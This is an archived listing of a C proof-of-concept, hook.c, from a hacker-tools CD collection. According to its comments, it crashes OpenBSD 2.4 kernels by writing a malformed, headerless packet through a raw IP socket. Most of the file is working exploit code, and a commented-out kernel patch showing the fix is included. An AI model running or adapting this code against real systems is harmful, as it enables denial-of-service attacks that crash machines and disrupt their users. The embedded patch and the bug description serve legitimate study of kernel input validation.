home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / sectools / fragrouter / Libnet-0.99b / test / Random / hook.c next >
Encoding:
C/C++ Source or Header  |  1999-07-26  |  2.4 KB  |  91 lines

  1. /*
  2.  *  $Id: hook.c,v 1.1.1.1 1999/05/18 15:33:43 dugsong Exp $
  3.  *
  4.  *  hook.c
  5.  *  Panics OpenBSD 2.4 kernels.
  6.  *
  7.  *  Well whut doya know?  Here I am working on libnet when I come up with this.
  8.  *  Localhost OpenBSD kernel panic.  No security issue.  Just a kernel bug.
  9.  *
  10.  *  Opening a raw IP socket and setting IP_HDRINCL and then NOT including an
  11.  *  IP header causes problems.  The code below with the `magic` numbers will
  12.  *  cause an immediate kernel panic.  Other data may cause kernel
  13.  *  instability leading to an eventual panic or crash.
  14.  *
  15.  *  Needs libnet (http://www.packetfactory.net).
  16.  *
  17.  *  (c) 1998 route|daemon9 <route@infonexus.com>
  18.  */
  19.  
  20. /*
  21.  
  22. --- raw_ip.c.old        Fri Dec 11 16:48:26 1998
  23. +++ raw_ip.c    Fri Dec 11 16:46:59 1998
  24. @@ -200,11 +200,13 @@
  25.                  * don't allow both user specified and setsockopt options,
  26.                  * and don't allow packet length sizes that will crash
  27.                  */
  28. -               if ((ip->ip_hl != (sizeof (*ip) >> 2) && inp->inp_options) ||
  29. -                   ip->ip_len > m->m_pkthdr.len) {
  30. -                       m_freem(m);
  31. -                       return (EINVAL);
  32. -               }
  33. +                if ((ip->ip_hl != (sizeof (*ip) >> 2) && inp->inp_options)
  34. +                    || (ip->ip_len > m->m_pkthdr.len)
  35. +                    || (ip->ip_len < ip->ip_hl << 2)) {
  36. +                        m_freem(m);
  37. +                        return EINVAL;
  38. +                }
  39. +
  40.                 if (ip->ip_id == 0)
  41.                         ip->ip_id = htons(ip_id++);
  42.                 /* XXX prevent ip_output from overwriting header fields */
  43. */
  44. #include <libnet.h>
  45.  
  46. #define BUFSIZE 6
  47.  
  48. int
  49. main(int argc, char **argv)
  50. {
  51.     int sock;
  52.     u_char *buf, *p;
  53.  
  54.     fprintf(stderr, "PUSH THE PANIC BUTTON!\n");
  55.  
  56.     buf = (u_char *)malloc(BUFSIZE);
  57.     if (!buf)
  58.     {
  59.         perror("No memory for packet header");
  60.         exit(EXIT_FAILURE);
  61.     }
  62.  
  63.     /*
  64.      *  Open a IPPROTO_RAW socket and set IP_HDRINCL.
  65.      */
  66.     sock = open_raw_sock(IPPROTO_RAW);
  67.     if (sock == -1)
  68.     {
  69.         perror("No socket");
  70.         exit(EXIT_FAILURE);
  71.     }
  72.  
  73.     p = buf;
  74.  
  75.     *((u_char *)p) = 8;
  76.     p += 1;
  77.     *((u_char *)p) = 0;
  78.     p += 2;
  79.     *((u_short *)p) = htons(242);
  80.     p += 2;
  81.     *((u_short *)p) = htons(1);
  82.  
  83.     write_ip(sock, buf, BUFSIZE);
  84.     printf("Didn't die.  Try again maybe.\n");
  85.     free(buf);
  86.  
  87.     return (EXIT_SUCCESS);
  88. }
  89.  
  90. /* EOF */
  91.